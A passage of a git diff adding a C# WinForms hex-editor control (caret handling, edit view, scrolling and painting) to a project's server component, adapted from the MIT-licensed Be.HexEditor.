SetAt(int index, byte item) + { + _bytes[index] = item; + } + + public char GetCharAt(int index) + { + return Convert.ToChar(_bytes[index]); + } + + public byte[] ToArray() + { + return _bytes.ToArray(); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs new file mode 100644 index 0000000..ac83acd --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/Caret.cs @@ -0,0 +1,232 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Controls.HexEditor +{ + public class Caret + { + #region Field + + /// + /// Contains the start index + /// where the caret started + /// + int _startIndex; + + /// + /// Contains the end index + /// where the caret is + /// currently located + /// + int _endIndex; + + /// + /// Tells if the given caret + /// is active in the controller + /// (control is in focus) + /// + bool _isCaretActive; + + + /// + /// Tells if the caret is + /// currently hidden or + /// not (out of view) + /// + bool _isCaretHidden; + + /// + /// Holds the actual position + /// of the caret + /// + Point _location; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int SelectionStart + { + get + { + if (_endIndex < _startIndex) + return _endIndex; + return _startIndex; + } + } + + public int SelectionLength + { + get + { + if (_endIndex < _startIndex) + return _startIndex - _endIndex; + return _endIndex - _startIndex; + } + } + + public bool Focused + { + get { return _isCaretActive; } + } + + public int CurrentIndex + { + get { return _endIndex; } + } + + public Point Location + { + get { return _location; } + } + + #endregion + + #region EventHandlers + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + #endregion + + #region Constructor + + public Caret(HexEditor editor) + { + _editor = editor; + _isCaretActive = false; + _startIndex = 0; + _endIndex = 0; + _isCaretHidden = true; + _location = new Point(0, 0); + } + + #endregion + + #region Methods + + #region Caret + + private bool Create(IntPtr hWHandler) + { + if (!_isCaretActive) + { + _isCaretActive = true; + return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2); + } + + return false; + } + + private bool Show(IntPtr hWnd) + { + if (_isCaretActive) + { + _isCaretHidden = false; + return ShowCaret(hWnd); + } + + return false; + } + + public bool Hide(IntPtr hWnd) + { + if (_isCaretActive && !_isCaretHidden) + { + _isCaretHidden = true; + return HideCaret(hWnd); + } + return false; + } + + public bool Destroy() + { + if (_isCaretActive) + { + _isCaretActive = false; + DeSelect(); + DestroyCaret(); + } + + return false; + } + + #endregion + + public void SetStartIndex(int index) + { + _startIndex = index; + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + + } + + public void SetEndIndex(int index) + { + _endIndex = index; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + Create(_editor.Handle); + _location = start; + SetCaretPos(_location.X, _location.Y); + Show(_editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength)); + } + + private void DeSelect() + { + if (_endIndex < _startIndex) + _startIndex = _endIndex; + else + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + #endregion + + #region Caret import + + [DllImport("user32.dll", SetLastError = true)] + static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool HideCaret(IntPtr hWnd); + + #endregion + } +} diff --git a/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs new file mode 100644 index 0000000..586b9fc --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/EditView.cs @@ -0,0 +1,177 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class EditView : IKeyMouseEventHandler + { + #region Fields + + /// + /// Contains the handler for the hex + /// view. + /// + private HexViewHandler _hexView; + + /// + /// Contains the handler for the + /// string view + /// + private StringViewHandler _stringView; + + private HexEditor _editor; + + #endregion + + #region Contructor + + public EditView(HexEditor editor) + { + _editor = editor; + _hexView = new HexViewHandler(editor); + _stringView = new StringViewHandler(editor); + } + + #endregion + + #region KeyMouseEvent + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyPress(e); + } + else + { + _stringView.OnKeyPress(e); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyDown(e); + } + else + { + _stringView.OnKeyDown(e); + } + } + + public void OnKeyUp(KeyEventArgs e) + { /* ... */ } + + #endregion + + #region Mouse + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDown(e.X, e.Y); + } + else + { + _stringView.OnMouseDown(e.X, e.Y); + } + } + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDragged(e.X, e.Y); + } + else + { + _stringView.OnMouseDragged(e.X, e.Y); + } + } + } + + public void OnMouseUp(MouseEventArgs e) + { /* ... */ } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDoubleClick(); + } + else + { + _stringView.OnMouseDoubleClick(); + } + } + } + + #endregion + + #region Focus + + public void OnGotFocus(EventArgs e) + { + if (InHexView(_editor.CaretPosX)) + _hexView.Focus(); + else + _stringView.Focus(); + } + + #endregion + + #endregion + + #region UpdateActions + public void SetLowerCase() + { + _hexView.SetLowerCase(); + } + + public void SetUpperCase() + { + _hexView.SetUpperCase(); + } + + public void Update(int startPositionX, Rectangle area) + { + _hexView.Update(startPositionX, area); + _stringView.Update(_hexView.MaxWidth, area); + } + #endregion + + #region PaintActions + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int i = 0; (i + startIndex) < endIndex; i++) + { + _hexView.Paint(g, i, startIndex); + _stringView.Paint(g, i, startIndex); + } + } + + #endregion + + #region Misc + + private bool InHexView(int x) + { + return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2)); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs new file mode 100644 index 0000000..fba3492 --- /dev/null +++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -0,0 +1,1361 @@ +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + /* + * Derived and Adapted from Bernhard Elbl + * Be.HexEditor v1.6 (Last Update: Dec 27, 2013). + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code (and the rest that is avaliable in the + * HexEditor-folder) has been derived from Bernhard + * ElblBe's Be.HexEditor v1.6, modifications have + * been made to make it better fit the new application + * area. + * First Modified by StingRaptor on Febuary 7, 2016 + */ + /* [Original License, ONLY for Current HexEditor Folder] + * This license is applied only to the files in the current + * HexEditor Folder + + * The MIT License + + Copyright (c) 2011 Bernhard Elbl + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. + */ + /* + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * http://sourceforge.net/projects/hexbox/?source=navbar + */ + + public class HexEditor : Control + { + #region Locks + + private object _caretLock = new object(); + + private object _hexTableLock = new object(); + + #endregion + + #region IKeyMouseEventHandlers + + private IKeyMouseEventHandler _handler; + + #endregion + + #region EditView + + private EditView _editView; + + #endregion + + #region Fields + + /// + /// Contains all of the bytes that + /// are to be displayed in the + /// HexEditor + /// + ByteCollection _hexTable; + + /// + /// Contains the type of counter + /// for the linecount + /// + string _lineCountCaps = "X"; + + /// + /// Contains the number of chars + /// to be used in the line count + /// + int _nrCharsLineCount = 4; + + /// + /// Contains the caret for the + /// control + /// + Caret _caret; + + #region Boundarys + + /// + /// Contains the bound for everything that + /// is to be displayed in the control + /// + Rectangle _recContent; + + /// + /// Contains the boundary for every + /// line count for the control + /// + Rectangle _recLineCount; + + #endregion + + #region String Format + + /// + /// Contains the format of the line count + /// string that is presented in this control + /// + StringFormat _stringFormat; + + #endregion + + #region Byte specific + + /// + /// Contains the index of the first + /// visible byte + /// + int _firstByte; + + /// + /// Contains the index of the last + /// visible byte + /// + int _lastByte; + + /// + /// Contains the maximum bytes that + /// can be visible horizontally + /// + int _maxBytesH; + + /// + /// Contains the maximum bytes that + /// can be visible vertically + /// + int _maxBytesV; + + /// + /// Contains the maximum number of + /// bytes that can be visible at a + /// time. + /// + int _maxBytes; + + /// + /// Contains the maximum number of + /// rows with bytes that are fully + /// visible. + /// + int _maxVisibleBytesV; + + #endregion + + #region Scrollbar + + /// + /// Contains the vertical scroll + /// bar for the control + /// + VScrollBar _vScrollBar; + + /// + /// Contains the with of the scrollbar + /// in pixels + /// + int _vScrollBarWidth = 20; + + /// + /// Contains the current position of the + /// scrollbar + /// + int _vScrollPos; + + /// + /// Contains the maximum value that + /// the scrollbar can have + /// + int _vScrollMax; + + /// + /// Contains the minimum value + /// that the scrollbar may have + /// + int _vScrollMin; + + /// + /// Contains the value for the + /// size of a smallchange in the + /// scrollbar + /// + int _vScrollSmall; + + /// + /// Contains the value for the + /// size of a largechange in the + /// scrollbar + /// + int _vScrollLarge; + + #endregion + + #endregion + + #region Properties + + #region enums + + public enum CaseStyle { LowerCase, UpperCase } + + #endregion + + #region Overriden + + //Override font to trigger update on font change + public override Font Font + { + set + { + base.Font = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + + //Hides the property Text that is not used for the control + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] + public override string Text + { + get + { + return base.Text; + } + set + { + base.Text = value; + } + } + + #endregion + + #region Hidden + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (_hexTableLock) + { + return _hexTable.ToArray(); + } + } + set + { + lock (_hexTableLock) + { + if (value == _hexTable.ToArray()) + return; + + _hexTable = new ByteCollection(value); + } + UpdateRectanglePositioning(); + Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get { return _charSize; } + private set + { + if (_charSize == value) + return; + + _charSize = value; + + if (CharSizeChanged != null) + CharSizeChanged(this, EventArgs.Empty); + } + }SizeF _charSize; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV + { + get { return _maxBytesV; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte + { + get { return _firstByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte + { + get { return _lastByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get { return _isVScrollHidden; } + set + { + if (_isVScrollHidden == value) + return; + + _isVScrollHidden = value; + + if (!_isVScrollHidden) + Controls.Add(_vScrollBar); + else + Controls.Remove(_vScrollBar); + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollHidden = true; + + #endregion + + #region Visible + + /// + /// Contains the number of bytes to + /// display per line + /// + [DefaultValue(8), Category("Hex"), Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get { return _bytesPerLine; } + set + { + if (_bytesPerLine == value) + return; + + _bytesPerLine = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _bytesPerLine = 8; + + + /// + /// Contains the margin between each + /// of the entitys + /// + [DefaultValue(10), Category("Hex"), Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get { return _entityMargin; } + set + { + if (_entityMargin == value) + return; + + _entityMargin = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _entityMargin = 10; + + /// + /// Contains the type of border + /// that is used for the control + /// + [DefaultValue(BorderStyle.Fixed3D), Category("Appearance"), Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get { return _borderStyle; } + set + { + if (_borderStyle == value) + return; + + if (value != BorderStyle.FixedSingle) + _borderColor = Color.Empty; + + _borderStyle = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }BorderStyle _borderStyle = BorderStyle.Fixed3D; + + /// + /// Contains the color for the border + /// that is used for the control + /// (Only used when BorderStyle is FixedSingle) + /// + [DefaultValue(typeof(Color), "Empty"), Category("Appearance"), Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get { return _borderColor; } + set + { + if (BorderStyle != BorderStyle.FixedSingle || _borderColor == value) + return; + + _borderColor = value; + Invalidate(); + } + }Color _borderColor = Color.Empty; + + /// + /// Contains the color of the selected + /// background area in the control + /// + [DefaultValue(typeof(Color), "Blue"), Category("Hex"), Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get { return _selectionBackColor; } + set + { + if (_selectionBackColor == value) + return; + + _selectionBackColor = value; + } + }Color _selectionBackColor = Color.Blue; + + /// + /// Contains the color of the selected + /// foreground area in the control + /// + [DefaultValue(typeof(Color), "White"), Category("Hex"), Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get { return _selectionForeColor; } + set + { + if (_selectionForeColor == value) + return; + + _selectionForeColor = value; + } + }Color _selectionForeColor = Color.White; + + /// + /// Contains the case type for the + /// line counter + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use on the line counter.")] + public CaseStyle LineCountCaseStyle + { + get { return _lineCountCaseStyle; } + set + { + if (_lineCountCaseStyle == value) + return; + + _lineCountCaseStyle = value; + + if (_lineCountCaseStyle == CaseStyle.LowerCase) + _lineCountCaps = "x"; + else + _lineCountCaps = "X"; + + Invalidate(); + } + }CaseStyle _lineCountCaseStyle = CaseStyle.UpperCase; + + /// + /// Contains the case type for the + /// hex view. + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use for the hexadecimal values view.")] + public CaseStyle HexViewCaseStyle + { + get { return _hexViewCaseStyle; } + set + { + if (_hexViewCaseStyle == value) + return; + + _hexViewCaseStyle = value; + + if (_hexViewCaseStyle == CaseStyle.LowerCase) + _editView.SetLowerCase(); + else + _editView.SetUpperCase(); + + Invalidate(); + } + }CaseStyle _hexViewCaseStyle = CaseStyle.UpperCase; + + /// + /// Property that contains if the + /// vertical scrollbar should be + /// visible or not + /// + [DefaultValue(false), Category("Hex"), Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get { return _isVScrollVisible; } + set + { + if (_isVScrollVisible == value) + return; + + _isVScrollVisible = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollVisible = false; + + #endregion + + #endregion + + #region EventHandlers + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + #endregion + + #region Events + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallIncrement: + ScrollLineDown(1); + break; + case ScrollEventType.SmallDecrement: + ScrollLineUp(1); + break; + case ScrollEventType.LargeIncrement: + ScrollLineDown(_vScrollLarge); + break; + case ScrollEventType.LargeDecrement: + ScrollLineUp(_vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (SelectionStartChanged != null) + SelectionStartChanged(this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, e); + } + + #region Overriden + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + UpdateRectanglePositioning(); + Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (_handler != null) + _handler.OnGotFocus(e); + + UpdateRectanglePositioning(); + Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + _dragging = false; + DestroyCaret(); + base.OnLostFocus(e); + } + + #endregion + + #endregion + + #region KeyEvents + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Right: + case Keys.Left: + case Keys.Up: + case Keys.Down: + case Keys.Shift | Keys.Right: + case Keys.Shift | Keys.Left: + case Keys.Shift | Keys.Up: + case Keys.Shift | Keys.Down: + return true; + } + return base.IsInputKey(keyData); + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (_handler != null) + _handler.OnKeyPress(e); + + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.PageDown) + { + if (!_isVScrollHidden) + { + ScrollLineDown(_vScrollLarge); + Invalidate(); + } + } + else if (e.KeyCode == Keys.PageUp) + { + if (!_isVScrollHidden) + { + ScrollLineUp(_vScrollLarge); + Invalidate(); + } + } + else + { + if (_handler != null) + _handler.OnKeyDown(e); + } + + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (_handler != null) + _handler.OnKeyUp(e); + + base.OnKeyUp(e); + } + + #endregion + + #region MouseEvents + + //Indicates if the mouse is currently being dragged or not + private bool _dragging; + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDown(e); + + if (e.Button == MouseButtons.Left) + { + _dragging = true; + Invalidate(); + } + } + else + { + this.Focus(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused) + { + if (_dragging) + { + if (_handler != null) + _handler.OnMouseDragged(e); + + Invalidate(); + } + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + _dragging = false; + + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseUp(e); + } + + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDoubleClick(e); + } + + base.OnMouseDoubleClick(e); + } + + #endregion + + #region Caret + + #region Properties + + public int CaretPosX + { + get + { + lock (_caretLock) + { + return _caret.Location.X; + } + } + } + + public int CaretPosY + { + get + { + lock (_caretLock) + { + return _caret.Location.Y; + } + } + } + + public int SelectionStart + { + get + { + lock (_caretLock) + { + return _caret.SelectionStart; + } + } + } + + public int SelectionLength + { + get + { + lock (_caretLock) + { + return _caret.SelectionLength; + } + } + } + + public int CaretIndex + { + get + { + lock (_caretLock) + { + return _caret.CurrentIndex; + } + } + } + + public bool CaretFocused + { + get + { + lock (_caretLock) + { + return _caret.Focused; + } + } + } + + #endregion + + #region Methods + + public void SetCaretStart(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetStartIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetEndIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (_caretLock) + { + return _caret.IsSelected(byteIndex); + } + } + + public void DestroyCaret() + { + lock (_caretLock) + { + _caret.Destroy(); + } + } + + #endregion + + #endregion + + #region HexTable + + #region Properties + + public int HexTableLength + { + get + { + lock (_hexTableLock) + { + return _hexTable.Length; + } + } + } + + #endregion + + #region Methods + + public void RemoveSelectedBytes() + { + int index = SelectionStart; + int length = SelectionLength; + if (length > 0) + { + lock (_hexTableLock) + { + _hexTable.RemoveRange(index, length); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + } + + public void RemoveByteAt(int index) + { + lock (_hexTableLock) + { + _hexTable.RemoveAt(index); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (_hexTableLock) + { + _hexTable.Add(item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.Insert(index, item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetCharAt(index); + } + } + + public byte GetByte(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetAt(index); + } + } + + public void SetByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.SetAt(index, item); + } + + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + #endregion + + #endregion + + #region Scrollbar + + public void ScrollLineUp(int lines) + { + if (_firstByte > 0) + { + lines = lines > _vScrollPos ? _vScrollPos : lines; + //Scroll up + _vScrollPos -= _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y += _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + } + } + } + } + + public void ScrollLineDown(int lines) + { + if (_vScrollPos <= _vScrollMax - _vScrollLarge) + { + lines = (lines + _vScrollPos) > (_vScrollMax - _vScrollLarge) ? (_vScrollMax - _vScrollLarge) - _vScrollPos + 1 : lines; + //Scroll up + _vScrollPos += _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y -= _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + if (caretLocation.Y < _recContent.Y) + _caret.Hide(this.Handle); + } + } + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + + if (lines < 0) + { + ScrollLineUp((-1) * lines); + } + else + { + ScrollLineDown(lines); + } + } + + /// + /// Performs a scroll to the given caretIndex + /// + /// The caret index to scroll to + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + //Need to scroll up until caret is visible + _vScrollPos -= Math.Abs((position.Y - _recContent.Y) / _recLineCount.Height) * _vScrollSmall; + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = _recContent.Y; + } + } + else if (position.Y > _maxVisibleBytesV * _recLineCount.Height) + { + //Need to scroll down until caret is visible + _vScrollPos += ((position.Y) / _recLineCount.Height - (_maxVisibleBytesV - 1)) * _vScrollSmall; + + if (_vScrollPos > (_vScrollMax - (_vScrollLarge - 1))) + _vScrollPos = (_vScrollMax - (_vScrollLarge - 1)); + + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = (_maxVisibleBytesV - 1) * _recLineCount.Height + _recContent.Y; + } + } + return position; + } + + #endregion + + #region Update Actions + + private void UpdateRectanglePositioning() + { + if (ClientRectangle.Width == 0) + return; + + //Start by calculating the size of a char + SizeF charSize; + using (var graphics = this.CreateGraphics()) + { + charSize = graphics.MeasureString("D", Font, 100, _stringFormat); + } + CharSize = new SizeF((float)Math.Ceiling(charSize.Width), (float)Math.Ceiling(charSize.Height)); + + //Set the main content bounds (remove margins) + _recContent = ClientRectangle; + _recContent.X += Margin.Left; + _recContent.Y += Margin.Top; + _recContent.Width -= Margin.Right; + _recContent.Height -= Margin.Bottom; + + //Check if the border is active and decrease the bounds + if (BorderStyle == BorderStyle.Fixed3D) + { + _recContent.X += 2; + _recContent.Y += 2; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + _recContent.X += 1; + _recContent.Y += 1; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + + //Handle if the scrollbar is visible + if (!VScrollBarHidden) + { + _recContent.Width -= _vScrollBarWidth; + _vScrollBar.Left = _recContent.X + _recContent.Width - Margin.Left; + _vScrollBar.Top = _recContent.Y - Margin.Top; + _vScrollBar.Width = _vScrollBarWidth; + _vScrollBar.Height = _recContent.Height; + } + + _recLineCount = new Rectangle(_recContent.X, _recContent.Y, (int)(_charSize.Width * 4), (int)(_charSize.Height) - 2); + + _editView.Update(_recLineCount.X + _recLineCount.Width + _entityMargin / 2, _recContent); + + //Calculate needed maximums for the bytes + _maxBytesH = _bytesPerLine; + _maxBytesV = (int)Math.Ceiling(((float)_recContent.Height / (float)_recLineCount.Height)); + _maxBytes = _maxBytesH * _maxBytesV; + _maxVisibleBytesV = (int)Math.Floor(((float)_recContent.Height / (float)_recLineCount.Height)); + + UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (_hexTable.Length == 0) + { + _firstByte = 0; + _lastByte = 0; + } + else + { + _firstByte = _vScrollPos * _maxBytesH; + _lastByte = (int)Math.Min(HexTableLength, _firstByte + _maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!_isVScrollHidden) + { + _vScrollBar.Minimum = _vScrollMin; + _vScrollBar.Maximum = _vScrollMax; + _vScrollBar.Value = _vScrollPos; + + _vScrollBar.SmallChange = _vScrollSmall; + _vScrollBar.LargeChange = _vScrollLarge; + + _vScrollBar.Visible = true; + } + else + { + _vScrollBar.Visible = false; + } + } + + private void UpdateScrollBarSize() + { + if (VScrollBarVisisble && _maxVisibleBytesV > 0 && _maxBytesH > 0) + { + //Holds the size of a page (number of rows per page) + int largeScroll = _maxVisibleBytesV; + //Holds the row size (1) + int smallScroll = 1; + //Holds the minimum value of the scrollbar + int minScroll = 0; + //Holds the maximum value of the scrollbar + int maxScroll = HexTableLength / _maxBytesH; + //Holds the current positon on the scrollbar + int posScroll = _firstByte / _maxBytesH; + + if (largeScroll != _vScrollLarge || smallScroll != _vScrollSmall) + { + _vScrollLarge = largeScroll; + _vScrollSmall = smallScroll; + } + + if (maxScroll >= largeScroll) + { + if (maxScroll != _vScrollMax || posScroll != _vScrollPos) + { + _vScrollMin = minScroll; + _vScrollMax = maxScroll; + _vScrollPos = posScroll; + } + + VScrollBarHidden = false; + + UpdateScrollValues(); + } + else + { + VScrollBarHidden = true; + } + } + else + { + VScrollBarHidden = true; + } + } + + #endregion + + #region Constructor + + public HexEditor() + : this(new ByteCollection()) + { } + + public HexEditor(ByteCollection collection) + { + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + + //Set the provided byte collection + _hexTable = collection; + + //Set the vertical scrollbar + _vScrollBar = new VScrollBar(); + _vScrollBar.Scroll += new ScrollEventHandler(OnVScrollBarScroll); + + //Redraw whenever the control is resized + SetStyle(ControlStyles.ResizeRedraw, true); + + //Enable double buffering + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + + //Enable selectable + SetStyle(ControlStyles.Selectable, true); + + //Handle initialization of Caret + _caret = new Caret(this); + _caret.SelectionStartChanged += new EventHandler(CaretSelectionStartChanged); + _caret.SelectionLengthChanged += new EventHandler(CaretSelectionLengthChanged); + + //Create the needed edit view + _editView = new EditView(this); + _handler = _editView; + + //Set defualt cursor + this.Cursor = Cursors.IBeam; + } + + #endregion + + #region Boundary Calculator + + private RectangleF GetLineCountBound(int index) + { + RectangleF ret = new RectangleF( + _recLineCount.X, + _recLineCount.Y + (_recLineCount.Height * index), + _recLineCount.Width, + _recLineCount.Height + ); + + return ret; + } + + #endregion + + #region OnPaint - Functions + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + if (BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder3D(pevent.Graphics, ClientRectangle, Border3DStyle.Sunken); + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = 